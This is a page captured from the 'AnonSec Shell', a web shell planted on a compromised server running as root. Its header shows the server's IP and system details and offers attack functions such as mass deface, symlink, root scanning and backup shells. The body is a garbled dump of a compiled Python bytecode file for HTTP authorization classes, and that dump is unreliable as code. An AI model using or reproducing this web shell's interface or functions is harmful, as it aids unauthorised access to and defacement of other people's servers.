AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/lazr/restfulclient/authorize/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/lazr/restfulclient/authorize/__pycache__/__init__.cpython-310.pyc
o

�3�O��@s:dZeZddgZddlZGdd�d�ZGdd�de�ZdS)a	Classes to authorize lazr.restfulclient with various web services.

This module includes an authorizer classes for HTTP Basic Auth,
as well as a base-class authorizer that does nothing.

A set of classes for authorizing with OAuth is located in the 'oauth'
module.
�BasicHttpAuthorizer�HttpAuthorizer�Nc@s,eZdZdZdd�Zdd�Zedd��ZdS)	ra�Handles authentication for HTTP requests.

    There are two ways to authenticate.

    The authorize_session() method is called once when the client is
    initialized. This works for authentication methods like Basic
    Auth.  The authorize_request is called for every HTTP request,
    which is useful for authentication methods like Digest and OAuth.

    The base class is a null authorizer which does not perform any
    authentication at all.
    cC�dS)z*Set up credentials for the entire session.N���self�clientrr�G/usr/lib/python3/dist-packages/lazr/restfulclient/authorize/__init__.py�authorizeSession2szHttpAuthorizer.authorizeSessioncCr)ztSet up credentials for a single request.

        This probably involves setting the Authentication header.
        Nr�r�absolute_uri�method�body�headersrrr	�authorizeRequest6szHttpAuthorizer.authorizeRequestcCsiS)aGAny parameters necessary to identify this user agent.

        By default this is an empty dict (because authentication
        details don't contain any information about the application
        making the request), but when a resource is protected by
        OAuth, the OAuth consumer name is part of the user agent.
        r)rrrr	�user_agent_params=s	z HttpAuthorizer.user_agent_paramsN)�__name__�
__module__�__qualname__�__doc__r
r�propertyrrrrr	r%sc@s(eZdZdZdd�Zdd�Zdd�ZdS)	rz=Handles authentication for services that use HTTP Basic Auth.cCs||_||_dS)z�Constructor.

        :param username: User to send as authorization for all requests.
        :param password: Password to send as authorization for all requests.
        N)�username�password)rrrrrr	�__init__Ls
zBasicHttpAuthorizer.__init__cCs&dt�d|j|jf���|d<dS)zySet up credentials for a single request.

        This sets the authorization header with the username/password.
        zBasic z%s:%s�
authorizationN)�base64�	b64encoderr�striprrrr	rUs
��z$BasicHttpAuthorizer.authorizeRequestcCs|�|j|j�dS)N)�add_credentialsrrrrrr	r
]sz$BasicHttpAuthorizer.authorizeSessionN)rrrrrrr
rrrr	rIs
	)r�type�
__metaclass__�__all__rrrrrrr	�<module>s	�$

Anon7 - 2022
AnonSec Team